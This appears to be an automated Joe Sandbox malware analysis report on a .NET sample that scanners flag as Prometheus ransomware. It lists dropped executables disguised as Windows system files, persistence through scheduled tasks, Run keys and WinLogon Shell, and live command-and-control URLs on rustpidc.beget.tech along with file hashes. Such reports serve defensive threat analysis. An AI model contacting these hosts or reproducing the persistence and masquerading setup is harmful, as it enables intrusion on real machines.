Source: Yara match	File source: 00000008.00000002.2172462532.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2499185977.0000000002B10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2112936217.000000001249D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2RM12KtuNp.exe PID: 5996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WmiPrvSE.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WmiPrvSE.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 5808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 6688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sppsvc.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sppsvc.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WmiPrvSE.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 8172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sppsvc.exe PID: 1292, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	241 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	13 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	12 Scripting	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	151 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	NTDS	151 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Software Packing	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2RM12KtuNp.exe	76%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
2RM12KtuNp.exe	75%	Virustotal		Browse
2RM12KtuNp.exe	100%	Avira	HEUR/AGEN.1323984
2RM12KtuNp.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs	100%	Avira	VBS/Starter.VPVT
C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat	100%	Avira	BAT/Delbat.C
C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	100%	Avira	HEUR/AGEN.1323984
C:\Recovery\sppsvc.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs	100%	Avira	VBS/Runner.VPXJ
C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs	100%	Avira	VBS/Starter.VPVT
C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs	100%	Avira	VBS/Runner.VPXJ
C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	100%	Joe Sandbox ML
C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	100%	Joe Sandbox ML
C:\Recovery\sppsvc.exe	100%	Joe Sandbox ML
C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	76%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	76%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	76%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Recovery\fuBYljHeUjtkgvlnN.exe	76%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Recovery\sppsvc.exe	76%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	76%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rustpidc.beget.tech	5.101.153.173	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://rustpidc.beget.tech/L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://rustpidc.beget.tech/	smss.exe, 00000023.00000002.2372427654.0000000002BD6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://rustpidc.beget.tech/L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f14	smss.exe, 00000023.00000002.2372427654.0000000002D00000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002EA0000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002BD6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	2RM12KtuNp.exe, 00000000.00000002.2107606474.0000000002952000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002EA0000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002BD6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://rustpidc.beget.tech	smss.exe, 00000023.00000002.2372427654.0000000002D00000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002FB9000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://rustpidc.bePb	smss.exe, 00000023.00000002.2372427654.0000000002FAF000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
5.101.153.173	rustpidc.beget.tech	Russian Federation		198610	BEGET-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542666
Start date and time:	2024-10-26 05:36:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2RM12KtuNp.exe renamed because original name is a hash value
Original Sample Name:	77FFFEE187FABB45FFC7219D421EA83F.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@46/29@1/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 2RM12KtuNp.exe, PID 5996 because it is empty
Execution Graph export aborted for target WmiPrvSE.exe, PID 6552 because it is empty
Execution Graph export aborted for target WmiPrvSE.exe, PID 6976 because it is empty
Execution Graph export aborted for target WmiPrvSE.exe, PID 7648 because it is empty
Execution Graph export aborted for target fuBYljHeUjtkgvlnN.exe, PID 180 because it is empty
Execution Graph export aborted for target fuBYljHeUjtkgvlnN.exe, PID 5808 because it is empty
Execution Graph export aborted for target fuBYljHeUjtkgvlnN.exe, PID 6688 because it is empty
Execution Graph export aborted for target smss.exe, PID 360 because it is empty
Execution Graph export aborted for target smss.exe, PID 8172 because it is empty
Execution Graph export aborted for target sppsvc.exe, PID 1292 because it is empty
Execution Graph export aborted for target sppsvc.exe, PID 7276 because it is empty
Execution Graph export aborted for target sppsvc.exe, PID 7288 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:37:02	Task Scheduler	Run new task: WmiPrvSE path: "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
05:37:02	Task Scheduler	Run new task: WmiPrvSEW path: "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
05:37:05	Task Scheduler	Run new task: fuBYljHeUjtkgvlnN path: "C:\Recovery\fuBYljHeUjtkgvlnN.exe"
05:37:05	Task Scheduler	Run new task: fuBYljHeUjtkgvlnNf path: "C:\Recovery\fuBYljHeUjtkgvlnN.exe"
05:37:05	Task Scheduler	Run new task: smss path: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
05:37:05	Task Scheduler	Run new task: smsss path: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
05:37:05	Task Scheduler	Run new task: sppsvc path: "C:\Recovery\sppsvc.exe"
05:37:05	Task Scheduler	Run new task: sppsvcs path: "C:\Recovery\sppsvc.exe"
05:37:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WmiPrvSE "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
05:37:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run smss "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
05:37:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN "C:\Recovery\fuBYljHeUjtkgvlnN.exe"
05:37:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sppsvc "C:\Recovery\sppsvc.exe"
05:37:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WmiPrvSE "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
05:37:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run smss "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
05:37:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN "C:\Recovery\fuBYljHeUjtkgvlnN.exe"
05:38:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run sppsvc "C:\Recovery\sppsvc.exe"
05:38:11	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run WmiPrvSE "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
05:38:19	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run smss "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
05:38:27	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN "C:\Recovery\fuBYljHeUjtkgvlnN.exe"
05:38:35	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run sppsvc "C:\Recovery\sppsvc.exe"
05:38:51	Autostart	Run: WinLogon Shell "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
05:39:00	Autostart	Run: WinLogon Shell "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
05:39:08	Autostart	Run: WinLogon Shell "C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe"
23:37:25	API Interceptor	9x Sleep call for process: smss.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
5.101.153.173	6TCmDl2rFY.exe	Get hash	malicious	DCRat	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BEGET-ASRU	6TCmDl2rFY.exe	Get hash	malicious	DCRat	Browse	5.101.153.173
	PR. No.1599-Rev.2.exe	Get hash	malicious	Unknown	Browse	45.130.41.127
	bX8NyyjOFz.exe	Get hash	malicious	FormBook	Browse	45.130.41.13
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	5.101.152.161
	Arrival notice.exe	Get hash	malicious	FormBook	Browse	45.130.41.13
	BL Draft-Invoice-Packing list-Shipping Document.pif.exe	Get hash	malicious	FormBook	Browse	45.130.41.13
	h3t7E1Mf7u.exe	Get hash	malicious	DCRat	Browse	5.101.152.16
	https://docs3.google.com/drawings/d/1-YlfxcIlzVfTGHw5rquNE-USEQmDoin5y8OekQ3QMSA/preview	Get hash	malicious	Unknown	Browse	45.130.41.101
	https://docs3.google.com/drawings/d/1-YlfxcIlzVfTGHw5rquNE-USEQmDoin5y8OekQ3QMSA/preview	Get hash	malicious	Unknown	Browse	45.130.41.101
	LgzpILNkS2.exe	Get hash	malicious	FormBook	Browse	5.101.152.161

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with very long lines (490), with no line terminators
Category:	dropped
Size (bytes):	490
Entropy (8bit):	5.856004214856076
Encrypted:	false
SSDEEP:	12:kflh4cSsZI+spp9nNbCLGMykZknSRYjL7dnUXaDFb0W4:ilHwp9NbCL7ZknSmUqI
MD5:	6463DBA329B47301B3E44296280EDA8C
SHA1:	FF3F062725197185AEC67F79495F5EE4A7209CC5
SHA-256:	36DD8BB0BEBBF2E6E0950A3BEB8C716635D141FF8F36BE922FB75BD4D4E5F4ED
SHA-512:	36EA86FED86B5DD904F2CBC8D3DA2DF58265E78CD974591621E7AE531B76D5AC6748F64CDDB2F4531A42C986D3B09258F62AE6E00EC67E7BD8B76344CE6F3FF0
Malicious:	false
Preview:	nHlDPLJDKKwEcUAQtxLXTqZkd2bLF7Ei2eIbZhvPCkQ1wumCF5YnG9K6sAjWu87MGNM8Mj0LC5VtZhytQYFKibc2ULsZ8YfDnDviho0fENkKobhKLzGV2xoovUnB0bMnaRFVwPMlhjFV0SN2nhNISJL0ZGxMAzomA7tXVLY5neySrSycGvXTOEVQGP5pcAls5cV3i0hbJRfxV2JHSUFPcVY5mcRGQsdn2GXO653PN5J6jh5NGyXI4WQjEZQGjaLay14Pe4LXazBgMbWEgDAcUVtg0yKgoxqxusIrmqtLnArEVtXmCMjgatFdIYYptosmJOwdSpb0TyyUnoLGbhecOKXAmpiORDb8RE4H74TWutMl4vzdNSOMJQY90v0nHMiPW0CiuDIhNHrf7vF1zEB9zPzBq5QMDqPhK7OEtRtJKr8Cj2CEp9xDLjaGAB2yx6dh2JUAhBIiU2yHRwbx3LgE2LWlgHDrY5VNOaKZhCho0P

C:\Program Files\Microsoft Office 15\ClientX64\smss.exe

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.1090440760279225
Encrypted:	false
SSDEEP:	24576:KufUOExyABqHwzAsZg7ySXHzf9gUQ4zWp2Wn7b5kXxK:K3zBqATEzf9gUQPn7b5kXx
MD5:	77FFFEE187FABB45FFC7219D421EA83F
SHA1:	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C
SHA-256:	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
SHA-512:	3C27ED77B4E5C522804B48B94B70071BC07B4227ED3F5018D45160CB192136296F75A84AF770CAF72C797D2EA7FA36C8D897F2D68199F0FE0123C94781452B1F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.................................P...K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`.......0..............@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Microsoft Office 15\ClientX64\smss.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Windows Mail\c321b7ff01a2d7

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with very long lines (405), with no line terminators
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.830480399670133
Encrypted:	false
SSDEEP:	12:PTpr9kWLCCTjzcpvV2lYW7aaqub6QhJF7ion:PNraWLxTjzcGnaaqubnUS
MD5:	410FDB634EA05C07BFA6F79FFE6D3E42
SHA1:	D8665D6B92ABC2AB3144D4A4A9B7169DA48EE8F6
SHA-256:	38A073FBA6797BECBA0F383FBB3CA91CE0554529F62A9E5E66BAFE182C203504
SHA-512:	21C73A991799E79FC5E14F9071198EC7CBBAFC3034FD05E3CA8ED748D539053E07804B3FAF15E45F649FAE711D953FD6440913BE058C84AB681B4BFABF521086
Malicious:	false
Preview:	oqxtdZ7aJZgk30mCP1n1NndC0NSzIU9txzwelyiHqaFTwJa8mhyE8iLBMv3QHISzZxxDEHbbSgLxiKQqxUMlf5uPovR05SAiHP38WW3eFWvcXXcCfMcw5rUeDhZT0kgAgmpSRRUbasfIKS2QSOVszNma5Y5z6kne0v6usJvN1BWNMLUuoIAmPxKSAPX2Vee0EASZWIiIdH1x1YOuEKKyjBPCknucw22WhfJL25Ygj2JI6WblAmyKUpRCvQytXFVkPePVPC2JwoOq2GFNLIbKErC2NHalGpIdgi2cGFW8uoYqalJoKlhPoLfibXIHlQDGfvKTNmGFwdZZSWbm7waeH3zUDUBt7OXelRKpazaifccKwGPF5fKzzi9l5zQ2lXHhG4xALwLHV29paoi7F5xbE

C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.1090440760279225
Encrypted:	false
SSDEEP:	24576:KufUOExyABqHwzAsZg7ySXHzf9gUQ4zWp2Wn7b5kXxK:K3zBqATEzf9gUQPn7b5kXx
MD5:	77FFFEE187FABB45FFC7219D421EA83F
SHA1:	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C
SHA-256:	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
SHA-512:	3C27ED77B4E5C522804B48B94B70071BC07B4227ED3F5018D45160CB192136296F75A84AF770CAF72C797D2EA7FA36C8D897F2D68199F0FE0123C94781452B1F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.................................P...K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`.......0..............@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\24dbde2999530e

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with very long lines (972), with no line terminators
Category:	dropped
Size (bytes):	972
Entropy (8bit):	5.8946866161691736
Encrypted:	false
SSDEEP:	12:NVR0HHIPnc5ZVPYh548IES/LwBML7vU9rneHvYhmbR1Uh6d5DRUSx4i8a6j2ziWu:QHIPnwPQQ8IESDDuegKR/bFTx4yGUsX
MD5:	879822E0CC727281A49AB641805EDE63
SHA1:	EC3F4AC89135789DCD22A8AE1AFDBCD62D50FF73
SHA-256:	80681E45EB993890576D32D13DF5805548B2441978CE7F3E97111A85815C07EA
SHA-512:	4519C7406B5DC2288FBF92EA36102302ACABE1BE296D08252CC6599CE8BFB6DF4E5C13D885D8CFA1B8DAF7D0F3D924A6769A91053470EC688085E371D2A97D4C
Malicious:	false
